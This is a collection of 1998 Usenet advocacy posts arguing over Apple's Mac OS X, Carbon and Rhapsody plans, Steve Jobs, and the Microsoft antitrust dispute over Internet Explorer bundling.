The history books will show if Mr. Jobs was the best for Apple....and today, the
history doesn't look good.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 08:47:50 -0500
Organization: Prairie Group
Message-ID: <MPG.fc20f005a4fbf5e9896b3@news.supernews.com>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu> <6j80h0$inc$1@murdoch.acc.Virginia.EDU> <6j8khh$q2s$2@gaia.ns.utk.edu>
In article <6j8khh$q2s$2@gaia.ns.utk.edu>, veal@utk.edu says...
> In article <6j80h0$inc$1@murdoch.acc.Virginia.EDU>,
> David Yeh <dly8b@Virginia.EDU> wrote:
> >In comp.sys.mac.advocacy Matt Kennel <mbkennel@yahoo.com> wrote:
> >> Apple has been trying to push YB for a while, but the 'big hitters' kept on
> >> saying that wasn't good enough. It's not going to be Steved.
> >
> >I wondering why it wasn't good enough.
>
> Probably because despite the technical advantages, developers weren't
> thrilled about developing for an OS isn't released. And protestations to
> the contrary, I don't find it hard to believe people might be concerned
> Apple would kill a product it has previously been swearing up and down it
> would release.
You mean like CHRP? Newton? Open Transport 1.5?
Donald
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:46:50 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1105982346510001@dialin33418.slip.uci.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu> <st942593-1205980048190001@129.64.124.199>
In article <st942593-1205980048190001@129.64.124.199>,
st942593@pip.cc.brandeis.edu (cpt kangarooski) wrote:
> Carbon itself is just a step on the longer-term, but more satisfying goal
> of rewriting apps for Yellow Box.
>
>--
>-cpt kangarooski
But will we get Carbon based Bolo?
-Bob Cassidy
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 08:40:37 -0500
Organization: Texas Instruments
Message-ID: <MPG.fc20d5351bdee5c98973d@news.itg.ti.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104>
In article Eric Bennett, ericb@pobox.com says...
> It's looking more and more like Apple didn't get much useful stuff out of
> the NeXT purchase than Mr. Jobs. They're paying little attention to the
> OS they paid for with $400 million. I'm certainly paying attention to it,
> but I wish Apple would too.
They got Steve Jobs.. Who could make the 3rd class passengers on the
Titanic feel like everything is ok. If Apple is truly recovering, it's
as much his doing as the products. At the very least, it appears that
he's help to make it not so fashionable to bash Apple in the press.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Tue, 12 May 1998 09:11:06 -0500
Organization: Prairie Group
Message-ID: <MPG.fc2147982b79c019896b5@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com> <MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com> <MPG.fc18603ab61a8e79896b1@news.supernews.com> <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com>
In article <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> In <MPG.fc18603ab61a8e79896b1@news.supernews.com> Donald Brown wrote:
> > In article <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>,
> > rriley@yahoo.com says...
> > > > And, again--Gates can rip me off. Clinton and Reno can toss me in jail.
>
> > > > I'll go up against Gates, thank you very much.
> > > >
> > >
> > > Sad...
> >
> > What's sad? You find something unusual that I'd rather compete at a
> > disadvantage, than not compete from a jail cell?
> >
> >
>
> .. just sad that going-in, a resigned fatalism exists that "Gates can rip me
> off". I find it a sad comment on the "state of Vendor Affairs". A healthy
> third party software community wouldn't choose competing and risk losing their
> technology to a General Partner.
Ah. I misspoke. What I meant to say is that the worse Gates can do is
rip me off. While the worse Clinton and Reno can do is toss me in jail.
I don't believe I'll be ripped off. But, the worse case scenario against
Gates is a lot sunnier than the worse case scenario against the
Government.
And, say what? "A healthy third party software community wouldn't choose
competing"???? What would they do?
Donald
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 09:17:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <355859FC.180BA8F6@nstar.net>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> Oh, Lawson's right, I'm sure. What he deserves flaming for is that he is
> himself one of the myopic developers/end-users who has required Apple to do
> this.
How do you figure? I can only see that if you claim that Apple's
struggle is "NeXT versus MacOS", in which case, yep, MacOS won.
If it's about good technology and good management and good public
relations and good motivational ability versus bad of all the same, I'd
say everyone's losing, and I don't know how you can possibly blame
Lawson.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 09:18:43 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35585A43.19F86C67@nstar.net>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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mmalcolm crawford wrote:
> Oh, Lawson's right, I'm sure. What he deserves flaming for is that he is
> himself one of the myopic developers/end-users who has required Apple to do
> this.
How do you figure? I can only see that if you claim that Apple's
struggle is "NeXT versus MacOS", in which case, yep, MacOS won.
If it's about good technology and good management and good public
relations and good motivational ability versus bad of all the same, I'd
say everyone's losing, and I don't know how you can possibly blame
Lawson.
MJP
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 16:20:29 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6j9lrd$gl7$1@larry.admin.phil.uu.nl>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
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Nathan:
>Completely wrong. _Both_ APIs will be available in Carbon, as has been
>specifically stated, both on Stepwise and by an Apple engineer here.
<sarcasm> Of course the QuickDraw GX API will be available as well?
And the OpenDoc API? You mean: the more API's the merrier? </sarcasm>
>Are you just being a troll, or are you really that stupid? I'm guessing
>the former.
Well, I'm not a troll.
Freek
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 09:26:54 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35585C2E.E5A786CB@nstar.net>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <3557DB45.6EC9184A@trilithon.com>
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Henry McGilton wrote:
> Ever tried developing for "Industry Standard Unix"? The you'll
> really know what multiple code bases are all about.
I don't think so. Mozilla, for instance, isn't *that* hard to port...
The guy they brought in for the Mozilla event ported it to Linux in a
number of hours.
The Qt guys ported Mozilla to a completely different widget framework
(not platform) in 5 days (a man-month).
MJP
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 00:32:44 +1000
Organization: OzEmail Ltd.
Message-ID: <6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
References: <ericb-1105981718430001@132.236.171.104>
Eric Bennett wrote in message ...
>Steve reminds us that MacOS is the "crown jewels" of Apple, and Rhapsody
>is, more or less, an afterthought.
Actually, he said in closing:
"And this is our Crown Jewel - MacOS. And we are gonna have 2 great
versions of Mac OS - we'll see if they intersect in the future."
Earlier he had said "from then on, Rhapsody transitions into Mac OS X."
2 versions! So that would mean apple has a 2 OS strategy, but
they're both called Mac OS..... hmmmm....
*98Q3 - Mac OS 8.5 (+ beta Carbon? - they're both final in 3 months)
98Q3 - Rhapsody 1 (+ beta Carbon?)
*99Q1 - Mac OS 8.6 (+ real Carbon?)
99Q1 - Mac OS X beta
*99Q3 - Mac OS / Sonata (aka 9?)
99Q3 - Mac OS X
We could be running Carbon on Rhapsody 1 and Allegro this September!
Wouldn't we then have _everything_ Mac OS X will have?????
If we do get Rhapsody+Carbon in August - why downgrade to Mac OS X
in 1999? (IF we lose DPS & Unix & Cross platform abilities)
>Big unanswered question from today: what happens to Rhapsody and the
>Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
>and x86, and will that be MacOS X or Rhapsody? Or both or neither?
Good questions. I guess we'll see.
I know that Apple could put together an okay underlying system - just
like MS has with NT. But to me the attraction of Rhapsody is
it's Unix underpinnings with Mac ease-of-use, and I don't
want Apple rewriting it. To others it's the DPS. Others like
the YB cross platform. What still lives?
We'll see soon.
Greg
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Tue, 12 May 1998 09:37:51 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35585EBF.8EA3C9C7@nstar.net>
References: <6j7roi$m57$1@nnrp1.dejanews.com>
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spagiola@usa.net wrote:
>
> I'm not very clear on how the MacOS X announced by Steve Jobs at WWDC relates
> to the various Rhapsody components (which will apparently be "folded into"
> MacOS X). The best I can figure is that MacOS X will essentially be Rhapsody
> CR2, but with Carbon replacing the previously planned "Blue Box" environment
> to maintain compatibility with Legacy Mac apps. Is this about right, or am I
> off base?
Actually, most people are reading this all wrong: MacOS X will actually
be backward-compatible with Rhapsody and MacOS, but everyone's missing
the "X" part, which my sources tell me hints at the high-speed X11R6.4
server the new OS will include. The Rhapsody libraries are being
rewritten to accomodate X11, QuickDraw will have an X11 protocol
translation server, and the preferred graphical output API will be Xlib.
My sources tell me that the main reason for this was that Jobs' fabled
obsession with startup times. Apparently, Jobs realized that instead of
requiring people to completely reboot after a change in many system
settings (or even a server crash), an X-based OS could just restart the
X server and move on. The idea is that MacOS X will have a "clean-boot"
time of roughly 2 minutes, but most "reboots" will only require 3-4
seconds.
Steve apparently claimed in front of these sources that "we're saving
the world thousands of hours".
MJP
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>
<MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>
<MPG.fc18603ab61a8e79896b1@news.supernews.com> <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com>
<MPG.fc2147982b79c019896b5@news.supernews.com>
Message-ID: <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 14:43:01 GMT
NNTP-Posting-Date: Tue, 12 May 1998 07:43:01 PDT
Organization: @Home Network
In <MPG.fc2147982b79c019896b5@news.supernews.com> Donald Brown wrote:
> And, say what? "A healthy third party software community wouldn't choose
> competing"???? What would they do?
>
>
My Developer Agreements are alliances and partnerships. Competing against the
General Partner would be counter-productive. But maybe that is the way it
is...
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 14:48:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lgo9c.l2e.sal@panix3.panix.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl>
On 12 May 1998 16:20:29 +0200, Freek Wiedijk <freek@phil.uu.nl> wrote:
>Nathan:
>>Completely wrong. _Both_ APIs will be available in Carbon, as has been
>>specifically stated, both on Stepwise and by an Apple engineer here.
><sarcasm> Of course the QuickDraw GX API will be available as well?
>And the OpenDoc API? You mean: the more API's the merrier? </sarcasm>
I think Steve learned a bit from his "bullet in the head" statement. Rather
than focus on the 2000 APIs he killed, or that MacOS X is Rhapsody, he sold
the MacOS developers on Carbon to port their Apps up to Rhapsody and get all
the benifits of PMT, PM and solid networking.
Very slick, even for Steve.
>>Are you just being a troll, or are you really that stupid? I'm guessing
>>the former.
>Well, I'm not a troll.
So you are the latter? :)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 14:55:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lgomg.l2e.sal@panix3.panix.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl>
On 12 May 1998 15:27:39 +0200, Freek Wiedijk <freek@phil.uu.nl> wrote:
>that first thing is going to lose momentum. Currently Apple is working
>on _three_ systems (traditional MacOS, Rhapsody, MacOS X). They really
>should choose.
No, Apple is working on TWO systems. Rhapsody and MacOS8.x
After Carbon is done, Apple will be working on *ONE* OS, Rhapsody. Rhapsody
has been renamed MacOSX.
I think Apple should have placed signs up at the doors with a message like:
***********************************
ACHTUNG! WARNING!
Do not look directly at the RDF, it has been known to cause momentary lapses in
reason and sanity. What you want to do is punch a hole into a peice of cardboard
and make a pin hole camera.
If you find yourself getting drawn deeply into a trance, place your head down
between your legs and take slow deep breaths until reality has returned to normal.
***********************************
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 12 May 1998 01:06:39 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1205980106390001@dialin33418.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com>
In article <6j8cet$fgg$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> Bob,
>
> It is amazing how well we agree on the fundementals, but our
> coloring really, really clashes.
True. I see this industry as being different from many. It's one where a
few people with a few bucks and a good idea can go far due to the almost
zero recurring cost of software development. Biotech is an equally fast
paced market that doesn't offer the same opportunities. So the software
industry, in my opinion, is especially susceptable to monopoly. It is
because once you attain a certain size and a certain product base, you can
give away an unlimited number of products with almost no financial loss -
nothing recurring, at least. That is a *huge* resource to leverage, and MS
has leveraged it very well. As such I think it has tragically affected the
software industry. Right now there is nearly zero innovation taking place
in products like word processors, spreadsheets, even databases. Even web
browsers would be slow to advance if it weren't for Netscapes recent
steps. Netscape has effectively nullified MS's advantage by nearly
eliminating the up-front cost of developing a browser, as you get from
almost all free-source projects. But MS can counter that by destroying the
notion of a browser in lieu of an OS technology, which Netscape can't
touch by not having an OS. MS has begun extending that advantage into the
web space by controlling the means by which people access their online
services, something that really only Apple and Netscape could do, and
Netscape loses that opportunity with Windows 98.
This is new territory. The software market isn't biotech and can't be
argued like biotech. Integration and bundling mean different things here
than they do for automakers or insurance companies. As such, you can't
compare the market effects of bundling in the auto market (which should be
benevolent due to recurring costs and the nature of the product) with the
effects of bundling in the software market (which can be considerably
malicious due to the fact that bundling often carries no cost and often
prevents any other company to compete).
The best analogy I've seen is this: Consider that General Motors owned all
the gas stations in the nation. GM would be able to change the design of
the gas nozzles at will and always have GM vehicles be compatable. Ford
and Chrysler would constantly have to fight a battle with the public to
convince the consumer that they could keep their vehicles, even after
sale, compatable with the evolving gas nozzle design. That, in effect, is
where Microsoft is right now. We have few open standards in this industry
relative to others. We don't have the FCC dictating standards for a word
processor, or a streaming protocol. We don't have the NTSB telling us how
NTFS should work or how SMB should be implemented. We also don't have a
FDA listing the undesirable side effects of Office.
If I had to pick an anti-trust judgement against MS, it wouldn't be a
breakup. Instead it would be to require MS to publish, at least 180 days
in advance of release, _all_ APIs and file formats for their products
including source code where necessary. They could still develop new
products, market, strike deals, and so on. But their products would be
open to competition. If they wish to be so big as to considered a
standard, they need to be open like NTSC and the size of gas pump nozzles.
> In article <rmcassid-1105981238190001@dante.eng.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
> Point taken. Let's call it a draw. The truth remains elusive for
> both sides of the argument.
Agreed.
> Another draw. Coporations have rights, but handcuffs are included.
Agreed.
> It is not sufficient to show a "public need" even in a Microsoft anti-trust
> case. The DOJ needs to show corporate tort, in addition to a "public need".
But if MS has rights, doesn't it's competitors also have rights? Without
having to go to a 'public need' arguement, anti-trust is at least designed
to offer competitors a hope of succeeding in a market. We simply don't
have that right now in certain segments of the marketplace.
If you were to argue the wording in the consent decree, you'd possibly
find that two interpretations were valid. Where do you go from there?
Which way does the wind blow today?
> > But MS sometimes act as though they do have that right. Their response to
> > anti-trust seems to fall along the lines of 'but we have the right to our
> > success'.
>
> You can not deny Microsoft its success purely on the contention that it is
> not in the public interest. The DOJ and the states need more than that.
I'm not denying their success. I'm suggesting that 'we have the right to
our success' is not a defense against any charge. As such, it would seem
that MS has no defense. They are now down to publicity stunts and
_horrendously_ worded surveys. I almost wish they had gotten busted for
the forged letters to the editor after they went out. MS's defense thus
far has been public opinion. If you can't use it to charge MS, then you
can't use it to bail them out either. An anti-trust should be a piece of
cake to demonstrate (relatively speaking), though long and protracted due
to the magnitude of the issue.
> > Legal system could care less if MS has a monopoly in China. Ask *their*
> > legal system.
>
> Minor mixup. I was talking about "the rights of a corporation". I grant
> you the multi-national aspects of this complicates things greatly. I
> wouldn't begin to try and argue multi-national ethics with anyone.
Multi-national is a real mess. We'll possibly soon see where the US courts
stand, at least.
> > I think they *did*
> > violate WRT 95 and IE bundling for some box makers. That much is clear,
> > but they've since corrected it. But for Win98, I don't know.
>
> Last December (and other times since), I stated I believed Microsoft violated
> the Consent Decree when it required OEMs to install IE3.0 AFTER installing
> Windows95. (I assume this is true since Microsoft did not deny it). I felt
> then, and feel now, the DOJ should have limited its Contempt Case to that.
> A clear and prosecutable violation.
I still don't see the difference if MS simply saves the OEM the effort. If
the OEM doesn't want to include IE, what product should they order? MS has
created exactly the same situation through a very minor adjustment to
their distribution strategy. The end result and the situation for the OEM
is exactly the same. MS, in actuality, did nothing to change the situation
for the OEM.
> <snip>
> > I think it was the right case against 95, but not against 98. Since the 95
> > issue is now moot (MS undid it, apparently) and 98 is upon us, it should
> > be dropped.
>
> I am not sure what you are saying here. Microsoft still contends the latest
> Windows95 version is in compliance with the Consent Decree. Not to rehash
> an old argument, but what do you think MS "undid"?
They undid the IE 3 after distribution installation requirements. I don't
think the 96/IE4 predistribution bundling is proper, however. I *do* think
they were in contempt by this action. As for the undoing, I was referring
to the IE3 business which they did undo, and for reasons I can't explain
was rather confused when I wrote that the issue was moot. They fixed the
situation with IE3, and broke it again when they bundled IE4. I don't see
a significant difference in the end between 95+IE3 bundled by the OEM and
95+IE4 bundled by MS. It was a cheap move.
> > I think the case illustrated how far MS is willing to push the
> > marketplace and the courts.
>
> Now we have different coloring. Who was pushing whom? IE4.0 was a
> natural progression from IE1.0, IE2.0 and IE3.0.
But the so called 'integration' was not. MS should have left IE 4 as an
end-user or OEM optional install. The 'integration' was really nothing
more than a tactic to get around the issue.
> It was the DOJ who
> tried to twist the Consent Decree into some all encompassing anti-trust
> document. Microsoft agressively defended itself. This is hardly
> "pushing" the courts from Microsoft.
Conceding that the IE3 requirement was wrong and then coming back with IE4
in the manner that they did was 'pushing'. As if the courts specifically
told them they couldn't require Internet Explorer installations, so MS
goes and renames the product Internet Examiner. It was pushing...
They should have simultaneously filed anti-trust which would have likely
dealt with the issue directly by the time the IE4 business came up. That
would have been the more proper way of dealing with it, I agree.
> > I think the case was valid in a limited sense.
> > Claiming that IE was integrated in Win95 was *clearly* stretching the
> > truth a bit too far.
>
> If it was "clearly" a violation, then Microsoft should have been found in
> contempt.
I said it was clearly stretching the truth, not that it was a clear
violation. I think it was a violation, but a less clear one than the IE3
business.
> Once again, we disagree on coloring and emphisis. You want to
> point out how close Microsoft was to being in contempt. I am pointing
> out, close or not, Microsoft was not in contempt, at least not the way
> the DOJ decided to try the case.
I think the problem comes in that it's difficult to judge software.
Integration is a very fuzzy term. All of this stuff comes in shades of
grey. My experience with software and development leads me to conclude
that MS was clearly hoping for a loophole. And they got it in this
so-called 'integration'.
> You think the DOJ used it to garner support? Don't you find that inexcusable
> behavior on the part of the highest law-enforcement agency in these United
> States?
I don't think they used it only to garner support. But while they were
there, they might as well start to educate people before the anti-trust
comes. Most people and the courts don't understand how software products
bundle and integrate and how dominance and market dynamics form. That
needs to be demonstrated. Doing all of that during the anti-trust case is
risky since the case could be effectively lost before the education is
complete. MS will politic the courts and the media in exactly the same
way. I think it's equally excusable that MS has the control that it does
over media outlets and industry leaders. The DOJ needs to try to balance
that.
> As for Microsoft's behavior. How did you want them to handle it? If they did
> anything less, Special Master Lessig would be hanging Microsoft out to dry by
> now. Or, at the very least, Microsoft would be struggling to get permission
> to release Windows98 instead of people struggling to stop it. Sure, it
> wouldn't have been a "big deal" if Microsoft quietly plead guilty and rolled
> over on the Windows98 question.
I think MS should fight the good fight. But MS sometimes goes further. I
don't like that one bit. I think MS should be struggling to get permission
to release Win98. I think that should be denied until they divorce the
browser from the OS. As it stands, MS may still lose this fight and much
more. It might be in their best interests to roll over now. Yield the
battle in the interest of the war, and all that. I belive that the DOJ
will go after much more than Win98 right now.
> I really am interested in where you felt Microsoft "started to push" in
> this case. What I saw was an aggressive legal and political defense against
> attacks from several fronts.
I think it was the 'to hell with Janet Reno' line, politically, and the
'we won't force them to install IE for us, we'll just do it for them'
business, legally. As if the intention of the courts was to prohibit me
from jaywalking, but if I jaywalked in a specific way, it's alright. MS
got itself off on it, but I think they were lucky and wrong. The 'attacks'
by the DOJ seem to be based in the courts, where MS's often seem to often
be from Ballmers mouth and soap boxes in New York. I'm not sure what the
legal value in that is, to be honest.
-Bob Cassidy
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
From: neilz@techie.dont.send.me.spam.com (Neil Zampella)
Subject: Re: Windoze Sux: DirectX vs NT50
References: <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net> <35567494.822830@news.qualcomm.com> <6j603p$7m6$1@supernews.com>
Message-ID: <355868ca.0@news1.ibm.net>
Date: 12 May 1998 15:20:42 GMT
Organization: IBM.NET
In message <6j603p$7m6$1@supernews.com> - "Todd Bandrowsky" <tbandrowsky@del.net> writes:
:>
:>>>Can you tell me what DirectX would do for me? I don't play computer
:>>>games, so I'm wondering what I might be missing by not having directX.
:>>>I use my computer for letters (AmiPro/2), several database's involving
:>>>costomer information (DBExpert and now looking at Approach/2),
:>>>acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
:>>>Personal information (scheduling mainly - IBM Works PIM and now
:>>>looking at Organizer/2), access to my banking (WinOS/2), access to
:>>>trading (WinOS/2 and now through Schwab Internet access), and of
:>>>course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
:>
:>On the other hand, if all of those applications were written to Direct X,
:>you could have little singing and dancing real time personal agents, the
:>user interface would be peppier and more interactive, and all of your stuff
:>would be more fun.
:>
:>
:>
I can't tell if this guy was being serious or sarcastic .... <sheesh> ....
Neil Zampella
Why do I use OS/2 ... because I like choice !!
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: 12 May 1998 14:42:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lgnva.l2e.sal@panix3.panix.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com>
On Tue, 12 May 1998 07:06:15 GMT, Michel Coste <nospam@micmac.com> wrote:
>It seems clear to me that carbon apps will ship for Intel...
Huh? What make you think that?
From what I read, Carbon is PPC only.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 15:09:34 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com> <rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com> <rmcassid-1105982343080001@dialin33418.slip.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
>Right now my biggest concern is that it seems that YellowBox may not run
>on MacOS 8 after all. That would seriously suck for me.
Or MacOS 9. A serious concern for everybody, including Y.T., who
works on YB apps. Another year for a YB enabled MacOS?
If I stuck myself with in the head with a pencil, would it hurt?
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
MIME-Version: 1.0
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
Message-ID: <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 15:22:47 GMT
NNTP-Posting-Date: Tue, 12 May 1998 08:22:47 PDT
Organization: @Home Network
In <3557A1DE.17A6@earthlink.net> Steve Kellener wrote:
> This to me sounds the most logical and clear definition of what they
> were trying to put forth. I wish they would just be more clear about
> the terminology. I didn't hear anything about the cross platform
> abilities but I would bet all that will continue. It already exists.
>
> Let me know what you think.
